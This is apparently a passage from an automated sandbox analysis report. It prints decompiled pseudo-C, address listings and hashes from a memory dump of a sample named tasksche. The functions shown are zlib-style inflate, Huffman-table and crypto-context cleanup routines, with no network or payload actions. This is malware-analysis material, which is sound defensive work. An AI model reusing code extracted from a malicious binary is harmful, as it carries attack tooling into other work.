						__eflags = __ecx;
						if(__ecx != 0) {
							L44:
							__eax =  *(__esi + 4);
							__ecx =  *(__ebp - 4);
							 *(__ebp + 0x10) =  *(__ebp + 0x10) & 0x00000000;
							__eflags = __eax - __ecx;
							 *(__ebp - 0xc) = __eax;
							if(__eax > __ecx) {
								 *(__ebp - 0xc) = __ecx;
							}
							__eax =  *(__ebp - 0x10);
							__eflags =  *(__ebp - 0xc) - __eax;
							if( *(__ebp - 0xc) > __eax) {
								 *(__ebp - 0xc) = __eax;
							}
							__eax = memcpy( *(__ebp - 8), __ebx,  *(__ebp - 0xc));
							__eax =  *(__ebp - 0xc);
							__esp = __esp + 0xc;
							 *(__ebp - 4) =  *(__ebp - 4) - __eax;
							 *(__ebp - 8) =  *(__ebp - 8) + __eax;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __eax;
							__ebx = __ebx + __eax;
							_t115 = __esi + 4;
							 *_t115 =  *(__esi + 4) - __eax;
							__eflags =  *_t115;
							if( *_t115 == 0) {
								L49:
								 *(__esi + 0x18) =  ~( *(__esi + 0x18));
								asm("sbb eax, eax");
								__eax =  ~( *(__esi + 0x18)) & 0x00000007;
								L16:
								 *_t488 = _t456;
							}
							goto L98;
						}
						__ecx =  *(__esi + 0x2c);
						__eflags = __edx - __ecx;
						if(__edx != __ecx) {
							L35:
							__eax =  *(__ebp - 8);
							 *(__esi + 0x34) =  *(__ebp - 8);
							__eax = E00403BD6(__ecx, __esi, __edi,  *(__ebp + 0x10));
							__ecx =  *(__esi + 0x30);
							 *(__ebp + 0x10) = __eax;
							__eax =  *(__esi + 0x34);
							__eflags = __eax - __ecx;
							 *(__ebp - 8) = __eax;
							if(__eax >= __ecx) {
								__edx =  *(__esi + 0x2c);
								__edx =  *(__esi + 0x2c) -  *(__ebp - 8);
								__eflags = __edx;
								 *(__ebp - 0x10) = __edx;
							} else {
								__ecx = __ecx -  *(__ebp - 8);
								__eax = __ecx -  *(__ebp - 8) - 1;
								 *(__ebp - 0x10) = __ecx -  *(__ebp - 8) - 1;
							}
							__edx =  *(__esi + 0x2c);
							__eflags =  *(__ebp - 8) - __edx;
							if( *(__ebp - 8) == __edx) {
								__eax =  *(__esi + 0x28);
								__eflags = __eax - __ecx;
								if(__eflags != 0) {
									 *(__ebp - 8) = __eax;
									if(__eflags >= 0) {
										__edx = __edx - __eax;
										__eflags = __edx;
										 *(__ebp - 0x10) = __edx;
									} else {
										__ecx = __ecx - __eax;
										__ecx = __ecx - 1;
										 *(__ebp - 0x10) = __ecx;
									}
								}
							}
							__eflags =  *(__ebp - 0x10);
							if( *(__ebp - 0x10) == 0) {
								__eax =  *(__ebp + 8);
								 *(__esi + 0x20) =  *(__ebp + 8);
								__eax =  *(__ebp + 0xc);
								 *(__esi + 0x1c) =  *(__ebp + 0xc);
								__eax =  *(__ebp - 4);
								__edi[1] =  *(__ebp - 4);
								goto L108;
							} else {
								goto L44;
							}
						}
						__eax =  *(__esi + 0x30);
						__edx =  *(__esi + 0x28);
						__eflags = __edx - __eax;
						if(__eflags == 0) {
							goto L35;
						}
						 *(__ebp - 8) = __edx;
						if(__eflags >= 0) {
							__ecx = __ecx - __edx;
							__eflags = __ecx;
							 *(__ebp - 0x10) = __ecx;
						} else {
							__eax = __eax - __edx;
							 *(__ebp - 0x10) = __eax;
						}
						__eflags =  *(__ebp - 0x10);
						if( *(__ebp - 0x10) != 0) {
							goto L44;
						} else {
							goto L35;
						}
						L20:
						__ecx =  *(__ebp + 0xc);
						while(1) {
							__eflags = __ecx - 0x20;
							if(__ecx >= 0x20) {
								break;
							}
							__eflags =  *(__ebp - 4);
							if( *(__ebp - 4) == 0) {
								goto L107;
							}
							__eax =  *__ebx & 0x000000ff;
							 *(__ebp + 0x10) =  *(__ebp + 0x10) & 0x00000000;
							 *(__ebp - 4) =  *(__ebp - 4) - 1;
							__eax = ( *__ebx & 0x000000ff) << __cl;
							 *(__ebp + 8) =  *(__ebp + 8) | ( *__ebx & 0x000000ff) << __cl;
							__ebx = __ebx + 1;
							__ecx = __ecx + 8;
							 *(__ebp + 0xc) = __ecx;
						}
						__ecx =  *(__ebp + 8);
						__eax =  *(__ebp + 8);
						__ecx =  !( *(__ebp + 8));
						__eax =  *(__ebp + 8) & 0x0000ffff;
						__ecx =  !( *(__ebp + 8)) >> 0x10;
						__ecx =  !( *(__ebp + 8)) >> 0x00000010 ^ __eax;
						__eflags = __ecx;
						if(__ecx != 0) {
							 *__esi = 9;
							__edi[6] = "invalid stored block lengths";
							break;
						}
						 *(__esi + 4) = __eax;
						__eax = 0;
						__eflags =  *(__esi + 4);
						 *(__ebp + 0xc) = 0;
						 *(__ebp + 8) = 0;
						if( *(__esi + 4) == 0) {
							goto L49;
						}
						__eax = 2;
						goto L16;
						L7:
						while( *(_t490 + 0xc) < 3) {
							if( *(_t490 - 4) == 0) {
								goto L107;
							}
							_t479 =  *(_t490 + 0xc);
							 *(_t490 + 0x10) =  *(_t490 + 0x10) & 0x00000000;
							 *(_t490 - 4) =  *(_t490 - 4) - 1;
							 *(_t490 + 8) =  *(_t490 + 8) | ( *_t476 & 0x000000ff) <<  *(_t490 + 0xc);
							_t476 =  &(_t476[1]);
							 *(_t490 + 0xc) =  *(_t490 + 0xc) + 8;
						}
						_t436 =  *(_t490 + 8) & 0x00000007;
						_t479 = _t436 & 0x00000001;
						_t438 = _t436 >> 1;
						__eflags = _t438;
						_t488[6] = _t436 & 0x00000001;
						if(_t438 == 0) {
							 *(_t490 + 0xc) =  *(_t490 + 0xc) - 3;
							 *_t488 = 1;
							_t479 =  *(_t490 + 0xc) & 0x00000007;
							 *(_t490 + 0xc) =  *(_t490 + 0xc) - _t479;
							 *(_t490 + 8) =  *(_t490 + 8) >> 3 >> _t479;
							goto L98;
						}
						_t442 = _t438 - 1;
						__eflags = _t442;
						if(_t442 == 0) {
							_push(_t485);
							E00405122(_t490 - 0x24, _t490 - 0x20, _t490 - 0x1c, _t490 - 0x18);
							_t448 = E00403CC8( *((intOrPtr*)(_t490 - 0x24)),  *((intOrPtr*)(_t490 - 0x20)),  *((intOrPtr*)(_t490 - 0x1c)),  *((intOrPtr*)(_t490 - 0x18)), _t485);
							_t493 = _t493 + 0x28;
							_t488[1] = _t448;
							__eflags = _t448;
							if(_t448 == 0) {
								goto L116;
							}
							 *(_t490 + 8) =  *(_t490 + 8) >> 3;
							 *(_t490 + 0xc) =  *(_t490 + 0xc) - 3;
							 *_t488 = 6;
							goto L98;
						}
						_t455 = _t442 - 1;
						__eflags = _t455;
						if(_t455 == 0) {
							 *(_t490 + 8) =  *(_t490 + 8) >> 3;
							_t456 = 3;
							_t33 = _t490 + 0xc;
							 *_t33 =  *(_t490 + 0xc) - _t456;
							__eflags =  *_t33;
							goto L16;
						}
						__eflags = _t455 == 1;
						if(_t455 == 1) {
							 *_t488 = 9;
							 *(_t485 + 0x18) = "invalid block type";
							_t488[8] =  *(_t490 + 8) >> 3;
							_t461 =  *(_t490 + 0xc) + 0xfffffffd;
							L105:
							_t488[7] = _t461;
							 *(_t485 + 4) =  *(_t490 - 4);
							 *_t485 = _t476;
							_push(0xfffffffd);
							 *(_t485 + 8) =  *(_t485 + 8) + _t476 -  *_t485;
							_t488[0xd] =  *(_t490 - 8);
							goto L100;
						}
						goto L98;
					}
					L104:
					__eax =  *(__ebp + 8);
					 *(__esi + 0x20) =  *(__ebp + 8);
					__eax =  *(__ebp + 0xc);
					goto L105;
					L122:
					__eax =  *(__ebp + 8);
					_push(1);
					 *(__esi + 0x20) =  *(__ebp + 8);
					__eax =  *(__ebp + 0xc);
					 *(__esi + 0x1c) =  *(__ebp + 0xc);
					__eax =  *(__ebp - 4);
					__edi[1] =  *(__ebp - 4);
					__ebx = __ebx -  *__edi;
					 *__edi = __ebx;
					__edi[2] = __edi[2] + __ebx -  *__edi;
					__eax =  *(__ebp - 8);
					 *(__esi + 0x34) =  *(__ebp - 8);
					goto L100;
					L118:
					__eax =  *(__ebp - 8);
					 *(__esi + 0x34) =  *(__ebp - 8);
					__eax = E00403BD6(__ecx, __esi, __edi,  *(__ebp + 0x10));
					__ecx =  *(__esi + 0x34);
					__eflags =  *(__esi + 0x30) - __ecx;
					 *(__ebp - 8) = __ecx;
					if( *(__esi + 0x30) == __ecx) {
						 *__esi = 8;
						goto L122;
					}
					__ecx =  *(__ebp + 8);
					 *(__esi + 0x20) =  *(__ebp + 8);
					__ecx =  *(__ebp + 0xc);
					 *(__esi + 0x1c) =  *(__ebp + 0xc);
					__ecx =  *(__ebp - 4);
					__edi[1] =  *(__ebp - 4);
					__ebx = __ebx -  *__edi;
					 *__edi = __ebx;
					_t409 =  &(__edi[2]);
					 *_t409 = __edi[2] + __ebx -  *__edi;
					__eflags =  *_t409;
					__ecx =  *(__ebp - 8);
					 *(__esi + 0x34) = __ecx;
					goto L120;
				}
			}

0x004043b7
0x004043b9
0x004043be
0x004043c2
0x004043c5
0x004043cb
0x004043cd
0x004043d3
0x004043d9
0x004043dc
0x004043e1
0x004043e4
0x004043f0
0x004043f0
0x004043e6
0x004043e9
0x004043e9
0x004043f2
0x004043f4
0x004043fa
0x004049c2
0x004049c5
0x004049c7
0x004049cd
0x004049d3
0x004049da
0x004049dc
0x004049dc
0x004049dc
0x004049e2
0x00000000
0x00404400
0x00404408
0x00404408
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404935
0x00404935
0x0040493b
0x0040493e
0x00404941
0x00404944
0x00404947
0x0040494c
0x0040494f
0x00404952
0x00404955
0x00404958
0x0040495b
0x00404963
0x00404966
0x00404b89
0x00404b89
0x004049e5
0x004049e5
0x004049e6
0x004049e7
0x004049ef
0x004049f3
0x004049f3
0x0040496c
0x00404979
0x0040497c
0x0040497e
0x00404981
0x00404984
0x00404985
0x00404988
0x0040498b
0x0040498c
0x0040498f
0x00404992
0x00404995
0x00404998
0x0040499a
0x004049a1
0x004049a4
0x004049a4
0x0040499c
0x0040499c
0x0040499e
0x0040499e
0x004049a7
0x004049ab
0x004049ae
0x00404b44
0x00000000
0x004049b4
0x004049b4
0x004049b4
0x004049b7
0x004049b7
0x004049b9
0x004049bc
0x00404402
0x00000000
0x00404405
0x00000000
0x004049bc
0x0040476e
0x0040476e
0x0040476e
0x00404771
0x00404774
0x00404776
0x00404779
0x0040477c
0x0040477f
0x0040477f
0x00404786
0x00404788
0x00000000
0x00000000
0x0040478e
0x00404791
0x00404791
0x00404794
0x00000000
0x00000000
0x00404796
0x0040479a
0x00404a58
0x00404a5b
0x00404a61
0x00404a64
0x00404a64
0x00404a64
0x00404a68
0x00404a6a
0x00404a6f
0x00404a71
0x00404a77
0x00000000
0x00404a77
0x004047a0
0x004047a3
0x004047a6
0x004047aa
0x004047ad
0x004047af
0x004047b2
0x004047b3
0x004047b3
0x004047b9
0x004047c0
0x004047c3
0x004047c6
0x004047ca
0x004047cd
0x004047d0
0x004047d3
0x004047d7
0x004047da
0x004047f5
0x004047f8
0x004047ff
0x004047ff
0x004047fa
0x004047fc
0x004047fc
0x00404802
0x00404804
0x0040480a
0x0040480b
0x0040480e
0x0040480e
0x00404811
0x00404814
0x00404814
0x00404817
0x0040481a
0x0040481d
0x00000000
0x00000000
0x0040481f
0x00404823
0x00000000
0x00000000
0x00404829
0x0040482c
0x0040482f
0x00404833
0x00404836
0x00404838
0x0040483b
0x0040483c
0x0040483c
0x00404842
0x0040484c
0x0040484f
0x00404852
0x00404854
0x00404857
0x0040485a
0x0040485c
0x0040485f
0x00404862
0x00404865
0x00404867
0x0040486a
0x0040486d
0x00404870
0x00404870
0x0040487a
0x0040487c
0x0040487e
0x00404a94
0x00404a9d
0x00404aa0
0x00404aa6
0x00404aad
0x00404ab0
0x00404ab5
0x00404ab8
0x00404abb
0x00404ac0
0x00404ac3
0x00404ac6
0x00404ac9
0x00404acc
0x00404acf
0x00000000
0x00404ad4
0x00404884
0x00404888
0x0040489c
0x0040489c
0x0040489e
0x0040489e
0x0040489e
0x004048a1
0x004048a4
0x004048a5
0x004048a5
0x004048a5
0x004048a5
0x004048aa
0x00000000
0x004048aa
0x0040488a
0x0040488d
0x00000000
0x00000000
0x00404893
0x00404896
0x00000000
0x00404896
0x004047dc
0x004047df
0x004047e1
0x004047e4
0x004047e7
0x004047ea
0x004047ed
0x004047ed
0x004048b3
0x004048b9
0x004048bc
0x004048c0
0x004048cc
0x004048d0
0x004048d4
0x004048d9
0x004048dc
0x004048df
0x004048e2
0x004048e7
0x004048e8
0x004048f1
0x004048f9
0x004048fc
0x004048fe
0x00404adc
0x00404ae0
0x00404ae0
0x00404ae8
0x00404aeb
0x00404aec
0x00404af2
0x00404af2
0x00404af3
0x00404af6
0x00404af9
0x00404afc
0x00404aff
0x00404b02
0x00404b05
0x00404b0a
0x00404b0c
0x00404b0e
0x00404b11
0x00404b14
0x00000000
0x00404b14
0x00404911
0x00404919
0x0040491b
0x00404b1c
0x00404b1f
0x00404b21
0x00404b27
0x00404b2d
0x00404b34
0x00404b36
0x00404b3c
0x00000000
0x00404b3c
0x00404924
0x0040492a
0x0040492d
0x0040492e
0x00404934
0x00000000
0x004046b8
0x004046bb
0x004046be
0x004046c1
0x004046c4
0x00404721
0x00404721
0x00404721
0x00404725
0x00000000
0x00000000
0x00404727
0x0040472a
0x00404734
0x00404738
0x00404738
0x0040473e
0x00404744
0x0040474c
0x00404752
0x0040475a
0x0040475d
0x0040475f
0x00404a8e
0x00000000
0x00404a8e
0x00404765
0x00404765
0x00404765
0x00404768
0x00000000
0x00000000
0x00000000
0x00000000
0x004046c6
0x004046c6
0x004046c6
0x004046c9
0x004046c9
0x004046cc
0x00000000
0x00000000
0x004046ce
0x004046d2
0x00000000
0x00000000
0x004046d8
0x004046db
0x004046df
0x004046e2
0x004046e4
0x004046e7
0x004046e8
0x004046eb
0x004046eb
0x004046f0
0x004046f0
0x004046f3
0x004046f6
0x004046f9
0x004046fc
0x00404703
0x00404707
0x0040470b
0x0040470e
0x00404711
0x00404714
0x0040471a
0x0040471d
0x0040471d
0x00000000
0x0040462b
0x0040462b
0x0040462e
0x0040462e
0x00404631
0x00000000
0x00000000
0x00404633
0x00404637
0x00000000
0x00000000
0x0040463d
0x00404640
0x00404644
0x00404647
0x00404649
0x0040464c
0x0040464d
0x00404650
0x00404650
0x00404655
0x00404658
0x0040465d
0x0040465f
0x00404662
0x00404665
0x00404668
0x00404a7f
0x00404a7f
0x00404a85
0x00000000
0x00404a85
0x00404670
0x00404676
0x0040467c
0x00000000
0x00000000
0x00404682
0x00404685
0x00404695
0x00404698
0x0040469b
0x0040469e
0x004046a0
0x00000000
0x00000000
0x004046a6
0x004046aa
0x004046ae
0x004046ae
0x004046ae
0x004046b2
0x00000000
0x0040453a
0x0040453a
0x0040453e
0x00000000
0x00000000
0x00404544
0x00404546
0x004045d7
0x004045d7
0x004045da
0x004045dd
0x004045e1
0x004045e3
0x004045e6
0x004045e8
0x004045e8
0x004045eb
0x004045ee
0x004045f1
0x004045f3
0x004045f3
0x004045fd
0x00404602
0x00404605
0x00404608
0x0040460b
0x0040460e
0x00404611
0x00404613
0x00404613
0x00404613
0x00404616
0x0040461c
0x0040461f
0x00404621
0x00404623
0x00404469
0x00404469
0x00404469
0x00000000
0x00404616
0x0040454c
0x0040454f
0x00404551
0x00404575
0x00404578
0x0040457b
0x00404580
0x00404585
0x00404588
0x0040458b
0x00404591
0x00404593
0x00404596
0x004045a3
0x004045a6
0x004045a6
0x004045a9
0x00404598
0x0040459a
0x0040459d
0x0040459e
0x0040459e
0x004045ac
0x004045af
0x004045b2
0x004045b4
0x004045b7
0x004045b9
0x004045bb
0x004045be
0x004045c8
0x004045c8
0x004045ca
0x004045c0
0x004045c0
0x004045c2
0x004045c3
0x004045c3
0x004045be
0x004045b9
0x004045cd
0x004045d1
0x00404a44
0x00404a47
0x00404a4a
0x00404a4d
0x00404a50
0x00404a53
0x00000000
0x00000000
0x00000000
0x00000000
0x004045d1
0x00404553
0x00404556
0x00404559
0x0040455b
0x00000000
0x00000000
0x0040455d
0x00404560
0x0040456a
0x0040456a
0x0040456c
0x00404562
0x00404562
0x00404565
0x00404565
0x0040456f
0x00404573
0x00000000
0x00000000
0x00000000
0x00000000
0x004044dc
0x004044dc
0x004044df
0x004044df
0x004044e2
0x00000000
0x00000000
0x004044e4
0x004044e8
0x00000000
0x00000000
0x004044ee
0x004044f1
0x004044f5
0x004044f8
0x004044fa
0x004044fd
0x004044fe
0x00404501
0x00404501
0x00404506
0x00404509
0x0040450c
0x0040450e
0x00404513
0x00404516
0x00404516
0x00404518
0x00404a12
0x00404a18
0x00000000
0x00404a18
0x0040451e
0x00404521
0x00404523
0x00404526
0x00404529
0x0040452c
0x00000000
0x00000000
0x00404534
0x00000000
0x00000000
0x0040440f
0x00404419
0x00000000
0x00000000
0x00404422
0x00404425
0x00404429
0x0040442e
0x00404431
0x00404432
0x00404432
0x0040443b
0x00404442
0x00404445
0x00404445
0x00404448
0x0040444b
0x004044b9
0x004044c3
0x004044c9
0x004044d1
0x004044d4
0x00000000
0x004044d4
0x0040444d
0x0040444d
0x0040444e
0x00404473
0x00404481
0x00404493
0x00404498
0x0040449b
0x0040449e
0x004044a0
0x00000000
0x00000000
0x004044a6
0x004044aa
0x004044ae
0x00000000
0x004044ae
0x00404450
0x00404450
0x00404451
0x0040445f
0x00404465
0x00404466
0x00404466
0x00404466
0x00000000
0x00404466
0x00404453
0x00404454
0x004049f7
0x00404a00
0x00404a07
0x00404a0d
0x00404a28
0x00404a28
0x00404a2e
0x00404a35
0x00404a37
0x00404a39
0x00404a3f
0x00000000
0x00404a3f
0x00000000
0x0040445a
0x00404a1f
0x00404a1f
0x00404a22
0x00404a25
0x00000000
0x00404b95
0x00404b95
0x00404b98
0x00404b9a
0x00404b9d
0x00404ba0
0x00404ba3
0x00404ba6
0x00404bab
0x00404bad
0x00404baf
0x00404bb2
0x00404bb5
0x00000000
0x00404b4a
0x00404b4d
0x00404b50
0x00404b55
0x00404b5a
0x00404b60
0x00404b63
0x00404b66
0x00404b8f
0x00000000
0x00404b8f
0x00404b68
0x00404b6b
0x00404b6e
0x00404b71
0x00404b74
0x00404b77
0x00404b7c
0x00404b7e
0x00404b80
0x00404b80
0x00404b80
0x00404b83
0x00404b86
0x00000000
0x00404b86

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: f98d37e25a52c04dcc5b825836114b3c9bed0208ddb816caf6c63d538b842863
Instruction ID: 90343a8667ee0670e87e021bba3e221c8adc0c1da1bb1a76252bfdf766af77e9
Opcode Fuzzy Hash: f98d37e25a52c04dcc5b825836114b3c9bed0208ddb816caf6c63d538b842863
Instruction Fuzzy Hash: FB520CB5900609EFCB14CF69C580AAABBF1FF49315F10852EE95AA7780D338EA55CF44

Uniqueness

Uniqueness Score: -1.00%

Function 004018B9 Relevance: 1.5, APIs: 1, Instructions: 25
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E004018B9(void* __ecx) {
				signed int _t10;
				signed int _t11;
				long* _t12;
				void* _t13;
				void* _t18;

				_t18 = __ecx;
				_t10 =  *(__ecx + 8);
				if(_t10 != 0) {
					 *0x40f89c(_t10);
					 *(__ecx + 8) =  *(__ecx + 8) & 0x00000000;
				}
				_t11 =  *(_t18 + 0xc);
				if(_t11 != 0) {
					 *0x40f89c(_t11);
					 *(_t18 + 0xc) =  *(_t18 + 0xc) & 0x00000000;
				}
				_t12 =  *(_t18 + 4);
				if(_t12 != 0) {
					CryptReleaseContext(_t12, 0);
					 *(_t18 + 4) =  *(_t18 + 4) & 0x00000000;
				}
				_t13 = 1;
				return _t13;
			}

0x004018ba
0x004018bc
0x004018c1
0x004018c4
0x004018ca
0x004018ca
0x004018ce
0x004018d3
0x004018d6
0x004018dc
0x004018dc
0x004018e0
0x004018e5
0x004018ea
0x004018f0
0x004018f0
0x004018f6
0x004018f8

APIs

CryptReleaseContext.ADVAPI32(?,00000000,?,004013DB,?,?,?,0040139D,?,?,00401366), ref: 004018EA

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: 5ecafc68ca33f8cfa3c4e9ed1ded46982a6db61dfcb788b9f393b121ae522fda
Instruction ID: 2349b07d823645f04250185dd133334db1216db109592f97c32ed3e6f6040a2b
Opcode Fuzzy Hash: 5ecafc68ca33f8cfa3c4e9ed1ded46982a6db61dfcb788b9f393b121ae522fda
Instruction Fuzzy Hash: C7E0ED323147019BEB30AB65ED49B5373E8AF00762F04C83DB05AE6990CBB9E8448A58

Uniqueness

Uniqueness Score: -1.00%

Function 00404C19 Relevance: .3, Instructions: 331
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00404C19(signed int _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr* _a24, signed int _a28, intOrPtr _a32, signed int* _a36, signed char* _a40) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed char* _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr* _v36;
				void* _v40;
				char _v43;
				signed char _v44;
				signed int _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				char _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				char _v116;
				signed int _v120;
				signed int _v180;
				signed int _v184;
				signed int _v244;
				signed int _t190;
				intOrPtr* _t192;
				signed int _t193;
				void* _t194;
				void* _t195;
				signed int _t196;
				signed int _t199;
				intOrPtr _t203;
				intOrPtr _t207;
				signed char* _t211;
				signed char _t212;
				signed int _t214;
				signed int _t216;
				signed int _t217;
				signed int _t218;
				intOrPtr* _t220;
				signed int _t224;
				signed int _t225;
				signed int _t226;
				signed int _t228;
				intOrPtr _t229;
				signed int _t231;
				char _t233;
				signed int _t235;
				signed int _t236;
				signed int _t237;
				signed int _t241;
				signed int _t242;
				intOrPtr _t243;
				signed int* _t244;
				signed int _t246;
				signed int _t247;
				signed int* _t248;
				signed int _t249;
				intOrPtr* _t250;
				intOrPtr _t251;
				signed int _t252;
				signed char _t257;
				signed int _t266;
				signed int _t269;
				signed char _t271;
				intOrPtr _t275;
				signed char* _t277;
				signed int _t280;
				signed int _t282;
				signed int _t283;
				signed int _t284;
				intOrPtr* _t287;
				intOrPtr _t294;
				signed int _t296;
				intOrPtr* _t297;
				intOrPtr _t298;
				intOrPtr _t300;
				signed char _t302;
				void* _t306;
				signed int _t307;
				signed int _t308;
				intOrPtr* _t309;
				signed int _t312;
				signed int _t313;
				signed int _t314;
				signed int _t315;
				signed int _t319;
				intOrPtr _t320;
				unsigned int _t321;
				intOrPtr* _t322;
				void* _t323;

				_t248 = _a4;
				_t296 = _a8;
				_t280 = 0;
				_v120 = 0;
				_v116 = 0;
				_v112 = 0;
				_v108 = 0;
				_v104 = 0;
				_v100 = 0;
				_v96 = 0;
				_v92 = 0;
				_v88 = 0;
				_v84 = 0;
				_v80 = 0;
				_v76 = 0;
				_v72 = 0;
				_v68 = 0;
				_v64 = 0;
				_v60 = 0;
				_t307 = _t296;
				do {
					_t190 =  *_t248;
					_t248 =  &(_t248[1]);
					 *((intOrPtr*)(_t323 + _t190 * 4 - 0x74)) =  *((intOrPtr*)(_t323 + _t190 * 4 - 0x74)) + 1;
					_t307 = _t307 - 1;
				} while (_t307 != 0);
				if(_v120 != _t296) {
					_t297 = _a28;
					_t241 = 1;
					_t192 =  &_v116;
					_t308 =  *_t297;
					_t249 = _t241;
					_a28 = _t308;
					while( *_t192 == _t280) {
						_t249 = _t249 + 1;
						_t192 = _t192 + 4;
						if(_t249 <= 0xf) {
							continue;
						}
						break;
					}
					_v8 = _t249;
					if(_t308 < _t249) {
						_a28 = _t249;
					}
					_t309 =  &_v60;
					_t193 = 0xf;
					while( *_t309 == _t280) {
						_t193 = _t193 - 1;
						_t309 = _t309 - 4;
						if(_t193 != _t280) {
							continue;
						}
						break;
					}
					_v28 = _t193;
					if(_a28 > _t193) {
						_a28 = _t193;
					}
					_t242 = _t241 << _t249;
					 *_t297 = _a28;
					if(_t249 >= _t193) {
						L20:
						_t312 = _t193 << 2;
						_t298 =  *((intOrPtr*)(_t323 + _t312 - 0x74));
						_t250 = _t323 + _t312 - 0x74;
						_t243 = _t242 - _t298;
						_v52 = _t243;
						if(_t243 < 0) {
							goto L39;
						}
						_v180 = _t280;
						 *_t250 = _t298 + _t243;
						_t251 = 0;
						_t195 = _t193 - 1;
						if(_t195 == 0) {
							L24:
							_t244 = _a4;
							_t300 = 0;
							do {
								_t196 =  *_t244;
								_t244 =  &(_t244[1]);
								if(_t196 != _t280) {
									_t252 =  *(_t323 + _t196 * 4 - 0xb4);
									 *((intOrPtr*)(_a40 + _t252 * 4)) = _t300;
									 *(_t323 + _t196 * 4 - 0xb4) = _t252 + 1;
									_t280 = 0;
								}
								_t300 = _t300 + 1;
							} while (_t300 < _a8);
							_v12 = _v12 | 0xffffffff;
							_a8 =  *((intOrPtr*)(_t323 + _t312 - 0xb4));
							_v16 = _t280;
							_v20 = _a40;
							_t199 = _v8;
							_t246 =  ~_a28;
							_v184 = _t280;
							_v244 = _t280;
							_v32 = _t280;
							_a4 = _t280;
							if(_t199 > _v28) {
								L64:
								if(_v52 == _t280 || _v28 == 1) {
									L4:
									return 0;
								} else {
									_push(0xfffffffb);
									goto L67;
								}
							}
							_v48 = _t199 - 1;
							_v36 = _t323 + _t199 * 4 - 0x74;
							do {
								_t203 =  *_v36;
								_v24 = _t203 - 1;
								if(_t203 == 0) {
									goto L63;
								} else {
									goto L31;
								}
								do {
									L31:
									_t207 = _a28 + _t246;
									if(_v8 <= _t207) {
										L46:
										_v43 = _v8 - _t246;
										_t257 = _a40 + _a8 * 4;
										_t211 = _v20;
										if(_t211 < _t257) {
											_t212 =  *_t211;
											if(_t212 >= _a12) {
												_t214 = _t212 - _a12 << 2;
												_v44 =  *((intOrPtr*)(_t214 + _a20)) + 0x50;
												_t302 =  *(_t214 + _a16);
											} else {
												_t302 = _t212;
												asm("sbb cl, cl");
												_v44 = (_t257 & 0x000000a0) + 0x60;
											}
											_v20 =  &(_v20[4]);
											L52:
											_t313 = 1;
											_t314 = _t313 << _v8 - _t246;
											_t216 = _v16 >> _t246;
											if(_t216 >= _a4) {
												L56:
												_t217 = 1;
												_t218 = _t217 << _v48;
												_t266 = _v16;
												while((_t266 & _t218) != 0) {
													_t266 = _t266 ^ _t218;
													_t218 = _t218 >> 1;
												}
												_v16 = _t266 ^ _t218;
												_t220 = _t323 + _v12 * 4 - 0xb4;
												while(1) {
													_t315 = 1;
													if(((_t315 << _t246) - 0x00000001 & _v16) ==  *_t220) {
														goto L62;
													}
													_v12 = _v12 - 1;
													_t220 = _t220 - 4;
													_t246 = _t246 - _a28;
												}
												goto L62;
											}
											_t277 = _v32 + _t216 * 8;
											do {
												_t216 = _t216 + _t314;
												 *_t277 = _v44;
												_t277[4] = _t302;
												_t277 = _t277 + (_t314 << 3);
											} while (_t216 < _a4);
											_t280 = 0;
											goto L56;
										}
										_v44 = 0xc0;
										goto L52;
									} else {
										goto L32;
									}
									do {
										L32:
										_t269 = _a28;
										_v12 = _v12 + 1;
										_t246 = _t246 + _t269;
										_v56 = _t207 + _t269;
										_t224 = _v28 - _t246;
										_a4 = _t224;
										if(_t224 > _t269) {
											_a4 = _t269;
										}
										_t271 = _v8 - _t246;
										_t225 = 1;
										_t226 = _t225 << _t271;
										_t282 = _v24 + 1;
										if(_t226 <= _t282) {
											L40:
											_t283 = 1;
											_t228 =  *_a36;
											_t284 = _t283 << _t271;
											_a4 = _t284;
											_t319 = _t228 + _t284;
											if(_t319 > 0x5a0) {
												goto L39;
											}
										} else {
											_t320 = _v36;
											_t236 = _t226 + (_t282 | 0xffffffff) - _v24;
											if(_t271 >= _a4) {
												goto L40;
											} else {
												goto L36;
											}
											while(1) {
												L36:
												_t271 = _t271 + 1;
												if(_t271 >= _a4) {
													goto L40;
												}
												_t294 =  *((intOrPtr*)(_t320 + 4));
												_t320 = _t320 + 4;
												_t237 = _t236 << 1;
												if(_t237 <= _t294) {
													goto L40;
												}
												_t236 = _t237 - _t294;
											}
